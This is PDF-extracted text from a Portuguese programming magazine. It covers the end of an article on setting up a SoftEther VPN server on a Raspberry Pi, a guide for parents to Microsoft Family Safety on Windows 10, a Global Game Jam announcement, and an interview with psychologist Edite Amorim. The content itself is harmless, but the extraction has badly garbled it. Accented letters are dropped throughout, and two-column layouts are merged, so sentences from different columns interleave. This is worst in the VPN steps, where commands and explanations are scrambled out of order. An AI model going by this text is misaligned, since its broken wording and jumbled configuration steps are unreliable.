Para activar o modo L2TP/IPsec VPN server basta digi- te, pois trata-se apenas de copiar um ficheiro. Ateno que
tar o comando IPsecEnable, na prompt do vpncmd. Este nas mquinas com sistema operativo Windows, o certificado
comando ir desencadear uma srie de questes para confi- tem de ser instalado nas Trusted Root Certification Autho-
gurar as funcionalidades do servidor L2TP, tal como esto rities
descritas em seguida. SstpEnable Yes
ltima parte
Enable L2TP over IPsec Server Function Digita-
mos yes para activar L2TP sobre IPSEC com chave
pr-partilhada. (Feito este passo, podemos aceder OpenVpnEnable Yes / PORTS: 1194
nossa vpn usando qualquer dispositivo incluindo dis-
positivos iOS, Android, Windows, Mac OS X, GNU/ Agora que crimos e registmos um certificado
Linux, etc
OpenVpnMakeConfig ~ / revistaProgra-
Enable Raw L2TP Server Function Isto ir activar mar_openvpn_config.zip
o L2TP para todos os clientes que no tenham SSL no servidor, podemos ativar a funo SSTP com o
IPSEC. comando seguinte:
Enable EtherIP / L2TPv3 over IPsec Server Func- E de seguida habilitar o modo OpenVPN:
tion Os routers que sejam compatveis com EtherIP /
Feito isto podemos gerar um ficheiro com as confi-
L2TPv3 sobre IPsec podem ligar-se a este server guraes utilizando o comando seguinte, na bash:
uma vez que esta opo est habilitada.
E de seguida transferimos para as mquinas clientes, da
Pre Shared Key for IPsec Aqui ser pedido que forma que nos for mais conveniente.
digitemos a chave pr partilhada para ser usada pelo O SoftEther tambm fornece um software cliente
L2TP VPN. VPN dedicado para Windows e GNU/Linux que suporta um
protocolo especfico do SoftEther chamado Ethernet sobre
Sexto passo, configurar as funcionalidades SSTP/ HTTPS ou SSL-VPN que bastante poderoso e flexvel.
OpenVPN Este usa o protocolo HTTPS e a porta 443, para estabele-
cer um tnel VPN e tira partido do facto de esta porta ser
O SoftEther pode copiar as funes de Microsoft bem conhecida e quase todas as firewalls, servidores proxy
SSTP VPN Server e/ou do OpenVPN Server. Mas antes de e NAT permitirem a passagem de trfego nesta porta. Para
ativ-las, temos de gerar um certificado SSL auto-assinado usar o protocolo SSL-VPN, devemos utilizar o cliente de
para o servidor. Para tal vamos usar o comando Server- VPN do SoftEther que est disponvel no prprio site do
programa.
CertRegenerate do SoftEther para gerar e registrar um
certificado SSL auto-assinado para o servidor. O argumen- No irei focar a instalao de um cliente no artigo
to passado para comando CN (Common Name) e deve uma vez que o objectivo se prende com a instalao e con-
figurao do servidor num raspberry pi correndo Pixel OS.
ser definido como o nome do host (FQDN) ou endereo IP:
Concluso
ServerCertRegenerate [CN]
Ao longo deste artigo, apresentei o processo de insta-
Notas: O SoftEther vem com um Dynamic DNS incorpo- lao e configurao de um servidor VPN SoftEther no siste-
ma operativo Raspberry Pixel OS, para Raspberry Pi e a
rado, que pode atribuir um hostname nico e permanente ao
configurao do mesmo pela interface de linha de comandos.
servidor. Se j tiver um certificado SSL ou tiver criado um Todas as tarefas feitas durante este artigo podem ser feitas
usando openssl, este pode ser adicionado ao servidor usan- utilizando o SoftEther Server Manager para Windows, que
do o comando ServerCertSet. bastante mais simples de usar para utilizadores menos expe-
rientes, ou mais ambientados plataforma Windows.

AUTOR
Escrito por Antnio C. Santos

Apaixonado por tecnologia, autodidata desde tenra idade. Cresceu com o ZX Spectrum 48k. Com mais
de 20 anos de experincia em implementao e integrao de sistemas e desenvolvimento de software
por medida nas mais diversas linguagens. Formou-se no Instituto Politcnico de Viana do Castelo. Mem-
bro da Comunidade Portugal-a-Programar desde Agosto de 2007, tambm membro da Sahana Softwa-
re Foundation, onde Programador Voluntrio desde 2012. Twitter:@apocsantos

83
No Code
SEGURANA FAMILIAR MICROSOFT NO WINDOWS 10:

UM GUIA PARA PAIS E EDUCADORES


Introduo Histria do Family Safety da Microsoft
Quando uma criana comea a dar os primeiros pas- O Family Safety foi lanado
sos no mundo da Internet, existe uma natural preocupa- em 2007 pela Microsoft e integrado na suite de produ-
o dos Pais e Educadores em relao segurana. Ten- tos Windows Live OneCare. Em 2008 com o lanamento de
do em conta os perigos que uma atualizao, este foi descontinuado do paco-
uma navegao na Web no vigiada pode representar, te OneCare e integrado nos servios Live como Windows
necessrio consciencializar as crianas para Live Family Safety. Entretanto, as funcionalidades Filtros
um conjunto de prticas a evitar enquanto esto online, Web e Relatrios de Atividade integrados no Windows
como por exemplo, a cedncia de dados pesso- Vista como opes do Controlo Parental, passam a fazer
ais a desconhecidos que possam facilitar a identificao parte da nova suite Windows Live em 2011 e no so inclu-
destes jovens, a divulgao de informaes sobre os das no Windows 7.
seus amigos sem consentimento prvio dos mesmos,
a partilha de imagens ou vdeos que possam ser usados
para fim ilcitos como "Sextortion",
a participao em discusses nas Redes Soci-
ais que fomentem ou estejam de alguma for-
ma associada a violncia ou Cyberbullying, entre muitas
outras.

Para alm destes conselhos, os Pais podem atravs


Windows Live Family Safety
de ferramentas especificas, implementar um conjunto de r
egras que permi- Em 2012 e com o lanamento do Windows 8,
tem definir as horas de utilizao do PC e acesso Intern a Microsoft passa a disponibili-
et, que contedos podem ser visualizados, tipos de jogos zar nativamente estas ferramentas sobe o nome "Microsoft
permitidos etc. Family Safety" e onde se incluem para alm
dos Filtros e Relatrios, o Bloqueio do mo-
Na altura de implementar uma soluo de controlo
do InPrivate do IE8 e IE9, Controlo Parental sobre
parental, os Pais podem escolher en-
os tempos de utilizao, Restrio de Jogos e Aplicaes
tre solues pagas como o Norton Family Premi-
em geral, Filtro de Imagem entre outros. Para fazer a
er da Symantec ou o Net Nanny da ContentWatch, ou
sua implementao, os Pais necessitavam ape-
usar solues gratuitas como o Custdio ou a Segurana
nas criar uma conta local (ou Conta Microsoft) e defini-
Familiar da Microsoft.
la como Conta de Criana para que esta fosse ento adi-
Para este artigo da Revista Programar escolhi cionada ao Microsoft Family Safety. Depois
a Segurana Familiar da Microsoft e nos prximos par- de adicionada, os adultos poderiam ento fazer
grafos, vou explicar co- a gesto dos acessos e respetivas configuraes atravs
mo implementar e gerir esta ferramenta online e tambm do site familysafety.microsoft.com.
atravs do Windows 10.

84
No Code
SEGURANA FAMILIAR MICROSOFT NO WINDOWS 10: UM GUIA PARA PAIS E EDUCADORES

Em seguida, no painel esquer-


do vamos clicar em Famlia e outras pessoas e
no painel esquerdo, vamos clicar em Adicionar um mem-
bro da famlia.

Relatrio Family Safety


Com o lanamento do Windows 10 em 2015, No ecr seguinte, vamos clicar na opo adicionar
a Segurana Familiar novamen- um menor, introduzir o seu endereo de e-
te renomeada para "Microsoft Family Features" e passa mail e clicar em "Seguinte".
a integrar tambm opes relacionadas com a Loja Win-
dows. Este ano, a Microsoft fez mais
uma atualizao ao servio e passou
a permitir a gesto das definies para PC e Mobile num s
local e a possibilidade de localizar os dispositivos m-
veis das crianas.
Configurao da Segurana Familiar
No Windows
10 o processo de configurao da Famlia alterou ligeiram
ente em relao ao seu antecessor Windows 8. Enquanto
na verso anterior para adicionar um menor segurana
familiar bastava configurar uma conta local com
a indicao de que se tratava de uma conta de criana,
no Windows 10 necessrio que
o menor possua um endereo de e-mail.
Ento, se estamos a configurar a Segurana Famili-
ar pela primeira vez no Windows 10, vamos comear
por criar a conta de utilizador da seguinte forma:
Atravs da combinao de teclas "WIN +
I" vamos abrir as Definies e clicar em Contas.

85
No Code
SEGURANA FAMILIAR MICROSOFT NO WINDOWS 10: UM GUIA PARA PAIS E EDUCADORES

Nota: Caso o menor no possua uma conta de e-mail, po-


dero usar a opo A pessoa que pretendo adicionar no
tem um endereo de e-mail para criar uma Conta Micro-
soft.

No mesmo ecr ainda


possvel adicionar adultos que
podero gerir as definies das contas dos menores.
Para concluir a adio da conta do menor,
vamos clicar em Confirmar.

O seu status fica como pendente at confirmao,


contudo o menor pode ter acesso ao PC sem que
sejam aplicadas quaisquer regras.

Quando o convite for aceite, o menor


Depois deste passo, enviado um convite para o e-
ento adicionado Famlia e o
mail do menor que este dever aceitar num prazo de 14
seu status muda de Pendente para Elemento
dias.
Subordinado.

86
No Code
SEGURANA FAMILIAR MICROSOFT NO WINDOWS 10: UM GUIA PARA PAIS E EDUCADORES

pelos menores no PC, que sites foram visitados e


que jogos ou aplicaes foram usados.

Gesto das definies da Segurana Familiar


Esta informao passa a estar disponvel depois
Assim que a conta do menor estiver adicionada, de ativada a opo e recolhida de PCs e dispositivos
os Pais podem gerir as definies da Segurana moveis com Windows 10. Para evitar que
Familiar online. Para isso, podero clicar na opo Gerir a informao referente aos sites visitados no
definies da famlia online no Windows seja registada, o modo InPrivate do Microsoft Edge e
10 ou acendendo ao site atravs do link https:// do Internet Explorer bloqueado. Opcionalmente,
account.microsoft.com/family. os adultos podem receber no seu e-mail um relatrio
Depois de iniciar sesso no site, semanal com todas estas informaes.
o adulto que gere a segurana familiar tem acesso a todos
os membros adicionados, a
um conjunto de informaes teis sobre algumas
das definies e ainda acesso s opes para adicionar/
remover membros da famlia.

Navegao na Web
Ao ativar esta opo, os Pais garantem que
os contedos com classificao para adultos so bloquea
dos e que a pesquisa segura filtra os contedos
imprprios.

Em termos das definies configurveis,


o adulto pode consultar um relatrio das atividades
online dos menores, limitar a quantidade de tempo e
a altura em que estes utilizam os dispositivos,
definir limites
inteligentes nos gastos dos menores e assegurar que
estes no visitam sites, aplicaes ou jogos imprprios.
Vejamos ento como configurar cada uma destas opes:
Atividade Recente
Atravs desta opo,
os adultos podem monitorizar o tempo despendido

87
No Code
SEGURANA FAMILIAR MICROSOFT NO WINDOWS 10: UM GUIA PARA PAIS E EDUCADORES

Adicionalmente, possvel criar lista de sites que Tempo passado em frente ao ecr
os menores podem ou no visitar.
Nesta opo,
Estes bloqueios so definidos para o Microsoft
os Pais vo definir a quantidade de tempo que
Edge e Internet Explorer 11 apenas.
os menores podem passar em frente ao PC. Atravs
do calendrio disponvel,
os adultos podem configurar um horrio
dirio, bloquear determinado dia da semana ou no
impor qualquer limite.

Quando existe um acesso a um site da lista,


o menor alertado para o facto
de necessitar autorizao para aceder ao mesmo,
podendo nessa altura, enviar um pedido por e-mail para
que o acesso seja concedido.

Quando o dispositivo estiver


em utilizao e sempre que
se aproximar do final do horrio definido,
o menor alertado que o PC ser bloqueado em breve.
Caso existam outros browsers instalados, os
mesmos podero
ser bloqueados na rea de Aplicaes e Jogos.

Aplicaes, jogos e multimdia

Nesta rea os gestores


ativam o bloqueio a filmes e jogos para adultos, e
podem definir
limites de idade para aquisies e transferncias na Loja
Windows. Se for definida a faixa etria dos 8 anos por
exemplo, todos Nesta altura, ou o
os contedos cuja classificao seja superior ficam bloqu menor respeita os limites de tempo ou envia ao adulto um
eados. pedido para que lhe seja concedido mais tempo.

Se o pedido for aceite, o adulto pode


ento desbloquear a sesso atribuindo o tempo que

88
No Code
SEGURANA FAMILIAR MICROSOFT NO WINDOWS 10: UM GUIA PARA PAIS E EDUCADORES

achar necessrio. Mobile e ter iniciado sesso com a sua Conta


Microsoft durante a configurao inicial do mesmo. Depois
de ativada, esta opo
vai permitir aos adultos visualizar num mapa a localizao
aproximada onde se encontra o menor.

Se estiver junto ao menor,


o gestor pode introduzir a sua password para que
possa atribuir mais algum tempo e desbloquear a sesso.

Definies de privacidade da Xbox


Se o agregado familiar possuir uma Xbox,
os adultos podem atravs da pgina "Definies de
Compras e Gastos privacidade da Xbox", configurar algumas regras relativas
segurana online e privacidade dos menores. Sempre
Para evitar o uso abusivo ou no autorizado dos que um adulto alterar alguma configurao, o menor ter
seus cartes de crdito, os adultos podem adicionar que terminar e iniciar sesso novamente na sua conta para
valores entre os 10 e os 100 Conta que estas surtam efeito.
Microsoft do menor e que este
poder utilizar para adquirir jogos e aplicaes na Loja
Windows e de acordo com as classificaes
PEGI definidas.

Bloquear e Remover membro da Segurana Familiar


As compras ficam registadas nesta rea e A qualquer altura, um adulto pode decidir bloquear
o gestor pode ser alertado sempre que o menor fizer temporariamente a conta determinado membro da famlia.
uma aquisio. Compras com mais de 90 dias, podem Durante este perodo,
ser consultadas na rea "Pagamentos e o membro fica impossibilitado de iniciar sesso nos
Cobranas" da Conta Microsoft do menor. seus dispositivos.
Localizar o seu filho Para fazer esse bloqueio no Windows 10,
Para ativar esta opo, vamos aceder a Definies > Contas > Famlia e outras
pessoas. Em seguida vamos clicar na conta em questo
o menor dever possuir um dispositivo com Windows 10
e clicar na opo "Bloquear".

89
No Code
SEGURANA FAMILIAR MICROSOFT NO WINDOWS 10: UM GUIA PARA PAIS E EDUCADORES

SeguraNet: http://www.seguranet.pt/
Cybersegurana da G.N.R.: http://
www.comunicaremseguranca.sapo.pt/
Microsoft Online Safety: https://www.microsoft.com/about/
philanthropies/youthspark/youthsparkhub/programs/
onlinesafety/
Poder ainda rever as perguntas
frequentes e atualizaes da Segurana
Familiar em: https://account.microsoft.com/family/faq
Concluso
Como podemos ler ao longo do
Se o adulto pretender remover um membro da lista,
artigo, ferramentas de controlo parental como
poder faz-lo
a Segurana Familiar da Microsoft, oferecem um leque
no site clicando em "Mais" e selecionando a
variado de opes de simples
opo "Remover da Famlia".
configurao que Pais e Educadores podem implementar
Recursos nos dispositivos das suas crianas. No sendo esta
uma soluo definitiva para todos os perigos que
Existem online, inmeras entidades que
a Internet representa para as crianas e jovens de hoje,
disponibilizam informaes teis que ajudam Pais e Educa
fundamental ainda que os Pais estejam
dores a preparar as suas crianas para uma utilizao
sempre atentos a alteraes de comportamento que
segura e responsvel da Internet. Aqui ficam
podem indiciar problemas mais graves e nunca
alguns exemplos:
esquecendo de educar as crianas para
Projeto Internet Segura: http://www.internetsegura.pt/ a existncia de novas ameaas.

AUTOR
Escrito por Nuno Silva

IT Professional | Windows Insider MVP | Microsoft MVP - Windows Experience (2014-2016) | Microsoft Technical Beta Tester
(Windows International Team) | MCC | Certified Microsoft Windows Phone Expert | Windows Team Division Manager @ Micro-
soft Group Portugal (Facebook)

90
No Code
GameJAM

O Global Game Jam o maior evento de jam (criao oportunidades dentro da comunidade. Alm disso sempre
de jogos) do mundo que acontece em locais fsicos por todo um desafio intelectual. As pessoas so convidadas a explorar
o mundo . um hackathon focado no desenvolvimento de novas ferramentas tecnolgicas, tentando novos papis no
jogos. o crescimento de uma ideia de que, no mundo desenvolvimento e testando suas capacidades para fazer
fortemente conectado, poderamos unir-nos, ser criativos, algo que os obriga a projetar, desenvolver, criar e testar um
compartilhar experincias e expressarmo-nos de muitas novo jogo no perodo de 48 horas. O GGJ estimula a
maneiras usando jogos de vdeo. um fim de semana de colaborao e no uma competio.
criao de jogos, num processo iterativo em que todas as
A GGJ operada pela Global Game Jam, Inc., uma
etapas se realizam em poucos dias.
empresa internacional sem fins lucrativos com sede em San
Luis Obispo, Califrnia, com a misso de promover o design
de jogos e a educao de jogos atravs de eventos
inovadores.

A estrutura de um jam geralmente da seguinte


forma: todos se renem na sexta-feira tarde, assistem a
uma curta keynote de vdeo com conselhos de
Tambm em Portugal se realiza o Game Jam, em
desenvolvedores lderes de jogos e, em seguida,
vrias universidades e outros locais pelo pas fora, tanto nos
anunciado um tema secreto . Todos os sites em todo o
grandes centros urbanos, como no interior do pas, provando
mundo so ento desafiados a fazer jogos baseados nesse
que Portugal, no se resume aos grandes centros urbanos!
mesmo tema, os quais devem ser concludos at domingo
Para saberes onde se realizar o Game Jam mais perto de ti,
tarde. Em janeiro de 2016, tivmos mais de 600 locais em 93
consulta a pgina globalgamejam.org e encontrars todas
pases criando 6866 jogos num fim de semana!
as informaes que precisas.

A PROGRAMAR estar presente em alguns dos locais


dos Game Jams e na prxima edio poders espreitar a
reportagem de um dos eventos mais significativos do ano.
O GGJ 2017 de 20 a 22 de janeiro num local perto de ti...
se no podes fazer o teu prprio. O Jam conhecido por Fotos Cortesia do Ncleo de Estudantes de Design de
ajudar a criar novas amizades, aumentar a confiana e as Jogos Digitais do IPB

91
No Code
ENTREVISTA A EDITE AMORIM

mos vrias formas de poten-


Revista PROGRAMAR - (RP): ciar as pessoas (crianas e
Fale-me um pouco de si e do adultos), de lev-las ao seu
seu percurso.
melhor.
Edite Amorim- (EA): Um dia, num congresso em
Hum... Nasci no Porto em 80, e
estudei na Pvoa de Varzim, Itlia, percebi que o que an-
onde vivi at aos 26 anos. Era dava a fazer se chamava
muito distrada na escola, estava Psicologia Positiva Aplicada
sempre a mil com cem ideias e e decidi investir a aprender
demasiada energia. Falava mui- mais sobre o tema. Os novos
to. Fiz patinagem artstica 12
horizontes que os livros trou-
anos, estive para ir para a Esco-
la Profissional de Teatro e em xeram e a as portas que a
vez disso fiz o Secundrio na experincia como consultora
rea de Desporto. de formao numa empresa
S consegui entrar na faculdade em Barcelona abriram, torna-
que queria Psicologia, na Uni- ram o prximo passo natural:
versidade do Porto terceira decidi fazer um Doutoramen-
tentativa, o que me fez estar um ano de fora a lidar com a to nos EUA nessa rea (o nico na altura). Viajei at Filadl-
frustrao de maneira hiperativa (dei dezenas de horas de fia para falar com o professor responsvel, ele disse-me que
explicaes a midos, tirei a carta, escrevi imenso, fiz rdio, eu era demasiado prtica para ficar confinada investigao
viajei pela primeira vez de avio) e um outro numa faculdade que era necessria naquele programa e 10 dias depois, no
privada, de onde consegui transferncia, depois de conhecer meio de Colorado Springs, em casa de uns amigos que ti-
a que seria a minha grande scia uns anos depois. nham organizado uns workshops sobre Criatividade para eu
Aos 26 anos, com 2 de carreira como psicloga e dar, a THINKING-BIG (um projeto a solo) nasceu. Estvamos
como empreendedora, deixei a casa nova com 2 quartos e num caf bonito, com internet, e depois de um mini-
fui partilhar um apartamento com 5 pessoas que no conhe- brainstoring sobre o que que eu deveria fazer a seguir, j
cia, para Barcelona, onde fiz o Master e trabalhei em tudo o estava a ver se o domnio (thinking-big.com) estava dispon-
que apareceu. vel, a compr-lo e a fazer o primeiro esboo da minha pgina
web.
Desde ento as viagens, os desafios, os encontros,
as aventuras de dentro, a dana e o acreditar tm sido as Fechmos o ciclo dos JCV (a minha scia tambm
coisas mais estveis dos dias. Todo o resto tem mudado comeava a dar passos noutras direes) e comecei os
regularmente, inclusive os pases onde vivi (Espanha, Irlan- meus, nesta caminhada a ss que j dura desde o vero de
da, Sucia e Frana). 2011.

Ocupo-me a escrever para vrias publicaes, a dar RP: Numa das suas conferncias diz ser "criadora de
aulas de Dana e Expresso e a ser coordenadora da THIN- dias"! O que ser criadora de dias?
KING-BIG, atravs da qual dou formaes no que me apai- EA: Esta uma expresso que uso muitas vezes, que s
xona e define (Criatividade e Psicologia Aplicada, usando quer dizer que cada dia uma construo, sem rotinas fixas
dinmicas de grupo, conceitos da Filosofia e storytelling). ou pr-definio.
Troco o certo pelo incerto com muita frequncia e mudo de
papis sociais com alguma facilidade (de conferencista inter- Sendo freelancer acontece que cada dia guarda a
nacional a lavadora de pratos, de professora de dana a vo- possibilidade de ser inventado quase por inteiro. Significa que
luntria num campo de Refugiados). s vezes me demoro 3 horas no livro que leio ao pequeno-
almoo, outras vezes respondo a e-mails ou escrevo at 1
Continuo a falar muito, mas agora tambm medito e da manh, e noutros permito que um encontro com um estra-
aprecio o silncio. nho se prolongue por 2 horas.
RP Como surgiu a "Thinking-Big" (Pensar grande) ? No tenho os dias como garantidos e raro saber de
EA: A THINKING-BIG a evoluo natural do meu anterior antemo como vai ser o seguinte. Por isso, desejo estar sem-
projeto - Jogos de Corpo e Voz (JCV) (http:// pre desperta para os saber preencher da forma que mais
corpovoz.blogspot.fr), que criei mal sa da faculdade. Foi significado tenha, para poder aproveitar mais de mim e do
desenvolvido em parceria com a minha scia e grande amiga que sei e gosto de fazer.
Bianca Varandas e durou 7 anos, durante os quais invent- Ser criador de dias significa, sobretudo, estar consci-

92
No Code
ENTREVISTA A EDITE AMORIM

ente e procura da melhor forma de encher as 24 horas que Manter os sentidos abertos para as diferenas, para aprender
me so dadas viver a cada dia e inventar sequncias que me como se faz, para sentir o que muda e o que permanece
permitam viver, mais do que ir sobrevivendo. volta. Sem julgamentos de melhor ou pior, s anotando e
curioseando nas diferenas que vejo ao meu redor.
RP: Como ser um profissional nmada? Que dificulda-
des/desafios encontra normalmente? No meio de tudo isto, a escrita de dirio de vida (que
recolhe o bilhete de cinema, a fatura do caf, um pequeno
EA: Ser de algum modo um pouco nmada tem sido de-
panfleto bonito, uma folha de rvore, colecionando bem a
safiante e cativante na mesma proporo.
vida) e a ligao virtual ou por carta com as minhas pessoas
A parte bonita e saborosa bastante bvia de referncia, espalhadas um pouco pelo mundo, so os fato-
(variedade, estmulo, riqueza, intensidade,...). A contraparte res que me mantm os pontos-chave no lugar. Nunca se
um enorme desafio a vrios nveis. nmada das coisas de dentro.

A nvel prtico obriga-me a um grande rigor e discipli- E creio que o meu truque tem sido esse: procurar le-
na, porque sempre um comear de novo, a cada novo poi- var a vida de dentro onde quer que os passos de fora pou-
so. sem.

preciso procurar os lugares onde consigo trabalhar RP: Diz-se convencionalmente que arte "pintar um qua-
(no s com condies prticas, como internet e boas me- dro, fazer uma escultura", ser "criar algo, apenas por-
sas, mas com potencial de inspirao, de bem-estar). que se imaginou esse algo, 'out of the blue", arte ?

Depois, h sempre a habituao ao idioma, cultura, EA: Neste campo no posso dar mais do que o meu pon-
s formas de fazer (h lugares onde a naturalidade mais to de vista como passeante pelo mundo da Arte...
bem-vinda do que os formalismos e vice-versa; isso tambm
Eu acredito na Arte como um processo que nasce de
pede um grande foco e energia, e uma predisposio para
um percurso, uma construo sobre conceitos e referncias.
adaptar os meus passos quotidianos).
No existe, na minha opinio, um Out of the blue, j que
Tudo isto obriga-me a uma ateno muito fina, e a tudo criado a partir de um material pr-existente, a residir
uma capacidade para me reinventar de maneira quase per- c dentro. O que j aprendemos, com quem falmos, os fil-
manente. Nada assumido como demasiado garantido, tudo mes, msica, livros que nos passaram pelas mos... Tudo
implica um estado de alerta mais ou menos constante, e isso isso constri um material que, no momento de criar, se com-
s vezes cansativo, exigente, e muitas vezes solitrio. pe e manifesta. Como sublinhou um pensador portugus j
falecido, o Lus Falco: para entender a Criatividade neces-
A vida (a de fora e a de dentro) passa s vezes a ca-
srio olhar a tradio, a histria e todo o conjunto de peas
ber numa mala. H momentos em que essa mala sabe a
do passado que nos faz o que somos no presente. Assim,
pouco, mas esse desapego torna a vida mais leve, mais fo-
consciente ou inconscientemente, tudo se cria a partir de
cada no fundamental.
qualquer coisa. Da a importncia de nos enriquecermos do
Desafio bonito seria a expresso-resumo para esta pergun- j existente, quando desejamos criar o novo.
ta.
A Arte nascer, desde o meu ponto de vista, de um
RP: Algum truque especial que uses para os ultrapas- trazer realidade uma nova forma de sentir e expressar, seja
sar? atravs da pintura ou escultura, como referes, ou atravs de
qualquer outra manifestao criativa/expressiva, que colabo-
EA: No meu caso o truque o interesse grande no proces-
re para um sentido mais cheio do mundo de fora ou de den-
so de fazer casa fora de casa, nem que seja por alguns tro.
dias.
RP: Uma questo incomum! O que diria a algum que l
Procuro pessoas com quem me relacionar, atividades
pela primeira vez uma mas mais inquietantes e criativas
culturais que me satisfaam a sede de Beleza, e espaos
citaes de Richard Feynman ? "Estude o que mais lhe
onde danar, que para mim o exerccio e a expresso nu-
interessa da maneira mais indisciplinada, irreverente e
ma s atividade (manter o corpo acordado sempre uma
original possvel.
prioridade. Tento nunca o deixar desatendido, nem que seja
alongamentos no quarto ou caminhadas longas pela cidade). EA: Rir-me-ia e diria s: Sim, isso. Faz isso! Endoidece,
reinventa, sai e entra e sai e entra da caixa as vezes que
Vivo muito as cidades onde habito ou onde vou traba-
forem necessrias para chegares ao que queres aprender
lhar. Procuro cafs diferentes para pousar o computador,
com gosto, com prazer, com curiosidade, com vontade de
fao compras no comrcio tradicional, caminho pelas ruas,
que te brilhem os olhos. Procura o gozo extremo de integrar
falo com os lojistas todos, crio rotinas de coisas simples... em ti coisas novas que queiras fazer tuas.
Isso ajuda a perceber e viver os espaos, a conhecer as pes-
soas e a sentir que se faz parte da engrenagem social, de
um universo comum. Ajuda imensamente.
A curiosidade aguada tambm de grande auxlio.

93
No Code
ENTREVISTA A EDITE AMORIM

RP: "Os impossveis tardam um bocadinho mais!" ( Sim RP: Como possvel confiar quando tudo parece
ns fazemos o trabalho de casa!) O que dirias a um de- "negro" ?
veloper, ou um "tinkerer" algum que se desunha para
EA: Vou responder desde o meu percurso individual,
combinar palavras e "pequenas peas", para fazer algo,
sem tentar generalizaes ou dicas gerais.
e sente vontade de desistir face adversidade ?
Esta , na verdade, das aprendizagens que me tem
EA: A primeira coisa que lhe diria seria um Bem-vindo ao
sido mais difcil e dura ao longo dos anos. Mas talvez tam-
clube, meu/minha caro/a)! Sentimos todos essa vontade de
bm a mais preciosa.
retirada, em algum momento, creio eu. Eu, pelo menos, sinto
imensas vezes. Como freelancer passo, por vezes, por perodos sem
projetos externos (sem clientes que me peam uma formao
Mas a frase que citas (e que eu repito inmeras vezes
ou uma conferncia), o que me obriga a ter que gerir a vida
dentro da minha cabea), um bom organizador de motiva-
de uma forma particular, no s econmica como animica-
es.
mente. E s vezes as coisas parecem mesmo negras, claro.
Claro que duro caminhar a construir algo de novo. Imagino que no vosso caso aconteam coisas bem seme-
As dvidas (Estou mesmo no caminho certo?, Estou a lhantes.
fazer tudo o que posso?, Isto vai mesmo valer a pena?,
No meu caso, eu sinto uma clareza absoluta de estar
Valho o suficiente para isto?, Porque que minha volta
no caminho certo, de ser exatamente isto que me apaixona e
no reconhecem o que estou a fazer?) assaltam-nos nos
que me entusiasma fazer. Essa certeza uma fora gigante,
momentos mais inesperados. Mas a pacincia e a capacida-
nos dias de outras dvidas. Sentir que este o caminho de
de de esperar e perseverar (que so um treino bem desafian-
verdade para mim e que, por isso, preciso de o continuar.
te, pelo menos para mim), so chave para no desistir. Esta
frase uma espcie de pensar grande, de fazer zoom out Outro aspeto importante a contribuio para algo
aplicado ao que se est a construir. No momento talvez pare- maior: eu confio que o meu trabalho uma pea de uma en-
a absurdo (e parece-me muitas vezes), mas quando o tem- grenagem, um contributo para a sociedade, para a plantao
po avanou e se percebe que s mesmo aguentando, espe- de pedacinhos frteis de humanidade. Assim, quando as ta-
rando e continuando a acreditar que se conseguiu chegar a refas concretas a que me dedico se tornam isentas de efeito
ver algum resultado, confirma-se que a frase tem mais senti- ou de sentido (o que desmotiva), procuro re-sintonizar no
do do que o clich que parece. sentido maior do que fao. E nesse momento consigo perce-
ber que aquele impasse s uma parte do caminho, uma
A verdade que no se conhecem caminhos diretos
pedra. Mas que o caminho vale a pena, e que merece de
para chegar a lado nenhum, conhece? Todas as grandes
mim que persevere nele. (Imagino que haja projetos que um
histrias (de livros, filmes, de TED talks, de personagens que
programador esteja a desenvolver que sejam exatamente o
fizeram a diferena) tm sempre a parte de E um dia passei
mesmo: sentem que esto a colaborar para algo maior do
por um perodo horrvel um processo de falncia, um esgo-
que eles).
tamento, o quase fecho de um projeto profissional e depois
de resistir vontade de largar tudo e s desistir, voltei a Depois, h algo que da ordem do invisvel. H quem
agarrar-me ao que realmente desejava fazer e recomecei lhe chame F (no num sentido religioso, mas mais amplo).
com nova fora, trazendo-me esse percurso at ao lugar Eu chamo-lhe um Acreditar, e um continuar sem vergar, por
onde estou agora. um caminho que sabemos que est certo. um saber c por
dentro que vale a pena, que sempre se chegar aonde nos
Os impossveis fazem-se, acontecem, chegam. Mas
esperam, como dizia o Jos Saramago.
preciso acreditar com fora no lugar para onde se est a
caminhar e agarrar-se com convico a possvel e s ve- A um outro nvel, mais prtico, ajuda-me muito rodear-
zes a impossvel aos pedacinhos de caminho. me de pessoas que me animam a caminhada, sejam amigos
que me dizem Confio no que ests a fazer e na tua capaci-
E, s vezes, h que saber tambm desistir, quando se
dade para o fazer; sejam colegas que me validem as compe-
percebe com boa certeza, com grande clareza, que o investi-
tncias, que me reconheam o valor profissional; ou mesmo
mento necessrio nos consumir uma energia que no esta-
clientes com quem guardo boa relao, pedindo-lhes feed-
mos dispostos a perder.
back sobre os processos que fiz com eles. Os outros so,
Mas quando o caminho sentido como certo por den- sem dvida, a pea fundamental do meu caminho.
tro, como o tal do momento, s difcil nas formas e no pro-
Outra coisa que resulta comigo fazer um ponto e vrgula.
cesso, sou adepta da persistncia. Pegando nas dificuldades
parar para me deixar ir ao fundo, desabar temporariamente
todas e conversando com elas volta de um copo de vinho,
sem tentar aguentar nem manter-me forte. sintonizar na
ou num passeio pela cidade. Mas fazendo-as parte da cami-
minha fragilidade absoluta e na vulnerabilidade da incerteza,
nhada, amigavelmente. Por isso, developers, tinkerers: des-
e estar a uma semana, se necessrio. Nessas alturas queixo
cubram o vinho preferido das vossas dificuldades e convidem
-me, falo com gente, escrevo-me, fao listas do que no est
-nas para um jantar com queijos e pacincia. Ainda acabam
bem e do que j esteve. E depois procuro um novo respirar.
a noite a rir-se a bom rir das tropelias e preparados para con-
Fao muitas vezes pausas, quando as coisas se complicam.
tinuar, apesar do colesterol altoJ.

94
No Code
ENTREVISTA A EDITE AMORIM

Viajo para lugares onde tenha amigos, para fazer coisas dife- (bem visveis nos Hactkathons a que j assisti) do conta de
rentes, ou para mudar s o contexto, a inspirao (eis um uma crescente implicao dos Programadores no desenho
exemplo disso: http://www.thinking-big.com/blog/getting- de um mundo mais forte, e nesses que eu deposito as mai-
inspiration-an-experience-in-a-residence). s vezes pode ser ores expectativas.
mesmo ir lavar pratos para um restaurante, algo totalmente
RP: Dizem muitas vezes que os psiclogos so
distinto do habitual trabalho mais intelectual; um ganhar
"aborrecidos", de olhar carregado e pesado! No obstan-
lano para continuar a maratona, atravs de um sprint numa
te, ler-te, olhar para a Edite, no parece nada o clich
coisa diferente.
conhecido! Qual a razo ?
As pausas (no meu caso acompanhadas por reflexo,
EA: (Ai diz-se isso dos psiclogos? Eu devo dizer que co-
j que escrevo sempre sobre o processo, para poder perce-
nheo vrios bastante frescos e arejados:)
ber o que estou a ganhar com elas, de que forma que es-
to a colaborar para o grande projeto de vida que pretendo)
so momentos extremamente ricos, de empurro e oxignio.
